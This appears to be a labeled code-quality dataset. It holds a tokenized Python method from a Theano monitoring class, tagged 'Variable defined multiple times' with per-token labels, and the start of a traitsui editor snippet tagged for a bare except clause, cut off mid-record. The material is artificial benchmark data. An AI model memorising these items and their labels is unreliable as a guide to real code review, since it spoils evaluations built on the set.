[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "Monitor_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "redo", "\\u", "theano_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Reco", "mpi", "les", " ", "The", "ano", " ", "function", "s", " ", "used", " ", "by", " ", "this", " ", "monit", "or", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "is", " ", "call", "ed", " ", "any", " ", "time", " ", "we", " ", "need", " ", "to", " ", "evaluate", " ", "the", " ", "channel", "s", " ", "and", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "channel", " ", "definit", "ion", "s", " ", "have", " ", "change", "d", " ", "sinc", "e", " ", "last", " ", "we", " ", "call", "ed", " ", "it", ",", "\\", "10", ";", " ", " ", " ", " ", "or", " ", "if", " ", "the", " ", "theano", " ", "function", "s", " ", "are", " ", "unava", "ilab", "le", " ", "for", " ", "any", " ", "other", " ", "reason", "\\", "10", ";", " ", " ", " ", " ", "(", "first", " ", "time", " ", "the", "y", " ", "are", " ", "need", "ed", " ", "after", " ", "constructi", "on", " ", "or", "\\", "10", ";", " ", " ", " ", " ", "deser", "iali", "zatio", "n", ",", " ", "etc", ".)", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "All", " ", "channel", "s", " ", "are", " ", "compile", "d", " ", "as", " ", "part", " ", "of", " ", "the", " ", "same", " ", "theano", " ", "function", "\\", "10", ";", " ", " ", " ", " ", "so", " ", "tha", "t", " ", "the", " ", "theano", " ", "optimization", "s", " ", "can", " ", "eliminat", "e", " ", "sube", "xpr", "ession", "s", "\\", "10", ";", " ", " ", " ", " ", "tha", "t", " ", "are", " ", "shared", " ", "bet", "ween", " ", "multiple", " ", "channel", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "dirty_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Reco", "mpu", "te", " ", "the", " ", "data", " ", "spec", "s", ",", " ", "sinc", "e", " ", "the", " ", "channel", "s", " ", "may", " ", "have", " ", "change", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "build", "\\u", "data\\u", "specs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "init", "\\u", "names_", "=_", "dir_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "prere", "qs_", "=_", "Order", "ed", "Dict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "channel_", "in_", "self_", "._", "channels_", "._", "values_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "channel_", "._", "prere", "qs_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dataset_", "=_", "channel_", "._", "dataset_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "dataset_", "not_", "in_", "self_", "._", "prere", "qs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "prere", "qs_", "[_", "dataset_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "prere", "qs_", "=_", "self_", "._", "prere", "qs_", "[_", "dataset_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "prere", "q_", "in_", "channel_", "._", "prere", "qs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "prere", "q_", "not_", "in_", "prere", "qs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "prere", "qs_", "._", "append_", "(_", "prere", "q_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "updates_", "=_", "Order", "ed", "Dict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "channel_", "in_", "self_", "._", "channels_", "._", "values_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "updates_", "[_", "channel_", "._", "val", "\\u", "shared_", "]_", "=_", "np_", "._", "cast_", "[_", "config_", "._", "float", "X_", "]_", "(_", "0.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "log", "\\u", "timing_", "(_", "log_", ",_", "\"", "compil", "ing", " ", "begin", "\\u", "record", "\\u", "entry", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "begin", "\\u", "record", "\\u", "entry_", "=_", "function_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "inputs_", "=_", "[_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "updates_", "=_", "updates_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "self_", "._", "theano", "\\u", "function", "\\u", "mode_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "'", "Monitor", ".", "begin", "\\u", "record", "\\u", "entry", "'_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "updates_", "=_", "Order", "ed", "Dict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "give", "ns_", "=_", "Order", "ed", "Dict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Get", " ", "the", " ", "appropr", "iate", " ", "kind", " ", "of", " ", "theano", " ", "variab", "le", " ", "to", " ", "represent", " ", "the", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "model", " ", "acts", " ", "on_", "\\u\\u\\uNL\\u\\u\\u_", "batch", "\\u", "names_", "=_", "[_", "'", "monitorin", "g", "\\u", "%", "s", "'_", "%_", "s_", "for_", "s_", "in_", "self_", "._", "\\u", "flat", "\\u", "data\\u", "specs_", "[_", "1_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "theano", "\\u", "args_", "=_", "self_", "._", "\\u", "flat", "\\u", "data\\u", "specs_", "[_", "0_", "]_", "._", "make", "\\u", "theano", "\\u", "batch_", "(_", "batch", "\\u", "names_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "a", " ", "symbolic", " ", "express", "ion", " ", "of", " ", "the", " ", "batch", " ", "size_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "do", " ", "it", " ", "here", ",", " ", "rat", "her", " ", "than", " ", "for", " ", "each", " ", "channel", ",", " ", "bec", "aus", "e", " ", "channel", "s", " ", "with", " ", "an_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "empty", " ", "data\\u", "spec", "s", " ", "do", " ", "not", " ", "use", " ", "data", ",", " ", "and", " ", "are", " ", "una", "ble", " ", "to", " ", "extract", " ", "the", " ", "batch_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "size", ".", " ", "The", " ", "case", " ", "where", " ", "the", " ", "whole", " ", "data", " ", "spec", "s", " ", "is", " ", "empty", " ", "is", " ", "not", " ", "support", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "batch", "\\u", "size_", "=_", "self_", "._", "\\u", "flat", "\\u", "data\\u", "specs_", "[_", "0_", "]_", "._", "batch", "\\u", "size_", "(_", "theano", "\\u", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Al", "so", " ", "get", " ", "a", " ", "nest", "ed", " ", "represent", "ation", ",", " ", "for", " ", "joint", " ", "iteration_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "with", " ", "each", " ", "of", " ", "channel", ".", "graph", "\\u", "input_", "\\u\\u\\uNL\\u\\u\\u_", "nest", "ed", "\\u", "theano", "\\u", "args_", "=_", "self_", "._", "\\u", "data\\u", "spec", "s", "\\u", "mapping_", "._", "nest_", "(_", "theano", "\\u", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "isinstance_", "(_", "nest", "ed", "\\u", "theano", "\\u", "args_", ",_", "tuple_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nest", "ed", "\\u", "theano", "\\u", "args_", "=_", "(_", "nest", "ed", "\\u", "theano", "\\u", "args_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "len_", "(_", "nest", "ed", "\\u", "theano", "\\u", "args_", ")_", "==_", "(_", "len_", "(_", "self_", "._", "channels_", ")_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "._", "info_", "(_", "'", "Monitor", "ed", " ", "channel", "s", ":", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "key_", "in_", "sorted_", "(_", "self_", "._", "channels_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mode_", "=_", "self_", "._", "theano", "\\u", "function", "\\u", "mode_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "mode_", "is_", "not_", "None_", "and_", "hasattr_", "(_", "mode_", ",_", "'", "record", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mode_", "._", "record_", "._", "handle", "\\u", "line_", "(_", "'", "compil", "ing", " ", "monit", "or", " ", "inclu", "ding", " ", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'", "channel", " ", "'_", "+_", "key_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "info_", "(_", "'\\\\", "t", "%", "s", "'_", "%_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "it_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "d_", ",_", "i_", ",_", "n_", ",_", "b_", "in_", "safe", "\\u", "izip_", "(_", "self_", "._", "\\u", "datasets_", ",_", "self_", "._", "\\u", "iterati", "on", "\\u", "mode_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "num", "\\u", "batches_", ",_", "self_", "._", "\\u", "batch", "\\u", "size_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "it_", "._", "append_", "(_", "d_", "._", "iterator_", "(_", "mode_", "=_", "i_", ",_", "num", "\\u", "batches_", "=_", "n_", ",_", "batch", "\\u", "size_", "=_", "b_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data\\u", "specs_", "=_", "self_", "._", "\\u", "flat", "\\u", "data\\u", "specs_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "return", "\\u", "tuple_", "=_", "True_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "num", "\\u", "examples_", "=_", "[_", "i_", "._", "num", "\\u", "examples_", "for_", "i_", "in_", "it_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "give", "ns_", "=_", "[_", "Order", "ed", "Dict_", "(_", ")_", "for_", "d_", "in_", "self_", "._", "\\u", "datasets_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "updates_", "=_", "[_", "Order", "ed", "Dict_", "(_", ")_", "for_", "d_", "in_", "self_", "._", "\\u", "datasets_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "channel_", "in_", "enumerate_", "(_", "self_", "._", "channels_", "._", "values_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "index_", "=_", "self_", "._", "\\u", "datasets_", "._", "index_", "(_", "channel_", "._", "dataset_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "self_", "._", "\\u", "datasets_", "[_", "index_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "=_", "give", "ns_", "[_", "index_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur", "\\u", "num", "\\u", "examples_", "=_", "self_", "._", "num", "\\u", "examples_", "[_", "index_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", "=_", "updates_", "[_", "index_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Flatt", "en", " ", "channel", ".", "graph", "\\u", "input", " ", "and", " ", "the", " ", "appropr", "iate", " ", "part", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "nest", "ed", "\\u", "theano", "\\u", "args", ",", " ", "to", " ", "iterate", " ", "joint", "ly", " ", "over", " ", "them", "._", "\\u\\u\\uNL\\u\\u\\u_", "c\\u", "mapping_", "=_", "Data", "Spec", "s", "Mapping_", "(_", "channel_", "._", "data\\u", "specs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "channel", "\\u", "inputs_", "=_", "c\\u", "mapping_", "._", "flatten_", "(_", "channel_", "._", "graph", "\\u", "input_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "return", "\\u", "tuple_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inputs_", "=_", "c\\u", "mapping_", "._", "flatten_", "(_", "nest", "ed", "\\u", "theano", "\\u", "args_", "[_", "i_", "+_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "return", "\\u", "tuple_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "(_", "channel", "\\u", "X_", ",_", "X_", ")_", "in_", "safe", "\\u", "izip_", "(_", "channel", "\\u", "inputs_", ",_", "inputs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "channel", "\\u", "X_", "not_", "in_", "g_", "or_", "g_", "[_", "channel", "\\u", "X_", "]_", "is_", "X_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "channel", "\\u", "X_", "._", "type_", "==_", "X_", "._", "type_", ",_", "(_", "channel", "\\u", "X_", "._", "type_", ",_", "X_", "._", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "[_", "channel", "\\u", "X_", "]_", "=_", "X_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "batch", "\\u", "size_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "No", " ", "channel", " ", "doe", "s", " ", "need", " ", "any", " ", "data", ",", " ", "so", " ", "there", " ", "is", " ", "not", " ", "need", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "averag", "e", " ", "results", ",", " ", "and", " ", "we", " ", "will", " ", "call", " ", "the", " ", "accum", " ", "function", "s", " ", "only_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "onc", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "bett", "er", " ", "handling", " ", "of", " ", "channel", "s", " ", "not", " ", "need", "ing", " ", "data", " ", "when_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "some", " ", "other", " ", "channel", "s", " ", "need", " ", "data", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "len_", "(_", "self_", "._", "\\u", "flat", "\\u", "data\\u", "specs_", "[_", "1_", "]_", ")_", "==_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "val_", "=_", "channel_", "._", "val_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "n_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "Value", "Error_", "(_", "\"", "Iterat", "ing", " ", "over", " ", "0", " ", "example", "s", " ", "results", " ", "in", " ", "\"_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "divide", " ", "by", " ", "0", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "val_", "=_", "T_", "._", "cast_", "(_", "channel_", "._", "val_", "*_", "T_", "._", "cast_", "(_", "batch", "\\u", "size_", ",_", "'", "float", "64", "'_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "/_", "cur", "\\u", "num", "\\u", "examples_", ",_", "config_", "._", "float", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "u_", "[_", "channel_", "._", "val", "\\u", "shared_", "]_", "=_", "channel_", "._", "val", "\\u", "shared_", "+_", "val_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "log", "\\u", "timing_", "(_", "log_", ",_", "\"", "Compil", "ing", " ", "accum", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Check", " ", "type", " ", "of", " ", "update", " ", "expressions_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "up_", "in_", "updates_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "key_", "in_", "up_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "key_", "._", "dtype_", "!=_", "up_", "[_", "key_", "]_", "._", "dtype_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "raise_", "Type", "Error_", "(_", "'", "Monitor", "ing", " ", "channel", " ", "shared", " ", "variab", "le", " ", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "key_", "._", "name_", "+_", "'", " ", "has", " ", "dt", "ype", " ", "'_", "+_", "key_", "._", "dtype_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'", " ", "but", " ", "is", " ", "drive", "n", " ", "by", " ", "an", " ", "express", "ion", " ", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'", "with", " ", "type", " ", "'_", "+_", "up_", "[_", "key_", "]_", "._", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "accum_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "idx_", ",_", "packed_", "in_", "enumerate_", "(_", "safe", "\\u", "izip_", "(_", "give", "ns_", ",_", "updates_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "g_", ",_", "u_", "=_", "packed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mode_", "=_", "self_", "._", "theano", "\\u", "function", "\\u", "mode_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "mode_", "is_", "not_", "None_", "and_", "hasattr_", "(_", "mode_", ",_", "'", "record", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "for_", "elem_", "in_", "g_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "mode_", "._", "record_", "._", "handle", "\\u", "line_", "(_", "'", "g", " ", "key", " ", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "var", "\\u", "descriptor_", "(_", "elem_", ")_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mode_", "._", "record_", "._", "handle", "\\u", "line_", "(_", "'", "g", " ", "val", " ", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "var", "\\u", "descriptor_", "(_", "g_", "[_", "elem_", "]_", ")_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "elem_", "in_", "u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "mode_", "._", "record_", "._", "handle", "\\u", "line_", "(_", "'", "u", " ", "key", " ", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "var", "\\u", "descriptor_", "(_", "elem_", ")_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mode_", "._", "record_", "._", "handle", "\\u", "line_", "(_", "'", "u", " ", "val", " ", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "var", "\\u", "descriptor_", "(_", "u_", "[_", "elem_", "]_", ")_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "function", "\\u", "name_", "=_", "'", "Monitor", ".", "accum", "[", "%", "d", "]'_", "%_", "idx_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "mode_", "is_", "not_", "None_", "and_", "hasattr_", "(_", "mode_", ",_", "'", "record", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "mode_", "._", "record_", "._", "handle", "\\u", "line_", "(_", "'", "compil", "ing", " ", "supervis", "ed", " ", "accum", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Some", " ", "channel", "s", " ", "may", " ", "not", " ", "depend", " ", "on", " ", "the", " ", "data", ",", " ", "ie", ",", " ", "the", "y", " ", "mig", "ht", " ", "just", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "monit", "or", " ", "the", " ", "model", " ", "parameter", "s", ",", " ", "or", " ", "some", " ", "shared", " ", "variab", "le", " ", "updated_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "by", " ", "the", " ", "train", "ing", " ", "algo", "rit", "hm", ",", " ", "so", " ", "we", " ", "need", " ", "to", " ", "ignore", " ", "the", " ", "unused_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "input", " ", "error_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "accum_", "._", "append_", "(_", "function_", "(_", "theano", "\\u", "args_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "give", "ns_", "=_", "g_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "updates_", "=_", "u_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "self_", "._", "theano", "\\u", "function", "\\u", "mode_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "function", "\\u", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "a_", "in_", "self_", "._", "accum_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "mode_", "is_", "not_", "None_", "and_", "hasattr_", "(_", "mode_", ",_", "'", "record", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "for_", "elem_", "in_", "a_", "._", "maker_", "._", "fg", "raph_", "._", "outputs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "mode_", "._", "record_", "._", "handle", "\\u", "line_", "(_", "'", "accum", " ", "output", " ", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "var", "\\u", "descriptor_", "(_", "elem_", ")_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "graph", " ", "size", ":", " ", "%", "d", "\"_", "%_", "len_", "(_", "a_", "._", "maker_", "._", "fg", "raph_", "._", "topo", "sort_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "final", "\\u", "names_", "=_", "dir_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "register", "\\u", "names", "\\u", "to", "\\u", "del_", "(_", "[_", "name_", "for_", "name_", "in_", "final", "\\u", "names_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "name_", "not_", "in_", "init", "\\u", "names_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
enthought/traitsui/traitsui/wx/enum_editor.py
[ { "content": " def update_object ( self, event ):\n \"\"\" Handles the user selecting a new value from the combo box.\n \"\"\"\n self._no_enum_update += 1\n try:\n new_value = self.mapping[ event.GetString() ]\n if new_value == self.value and self.factory.is_grid_cell:\n # If the enum editor is in a grid cell and the value did not\n # change, we want the enum editor to go away, reverting back to\n # the normal cell appearance. This is for 2 reasons:\n # 1. it looks nicer\n # 2. if the grid id suddenly closed, wx freaks & causes a\n # segfault\n\n grid = self.control.Parent.Parent\n grid.EnableEditing(False)\n grid.EnableEditing(True)\n\n self.value = new_value\n\n except:\n from traitsui.api import raise_to_debug\n raise_to_debug()\n\n self._no_enum_update -= 1", "metadata": "root.SimpleEditor.update_object", "header": "['class', 'SimpleEditor', '(', 'BaseEditor', ')', ':', '___EOS___']", "index": 228 }, { "content": " def update_text_object ( self, event ):\n \"\"\" Handles the user typing text into the combo box text entry field.\n 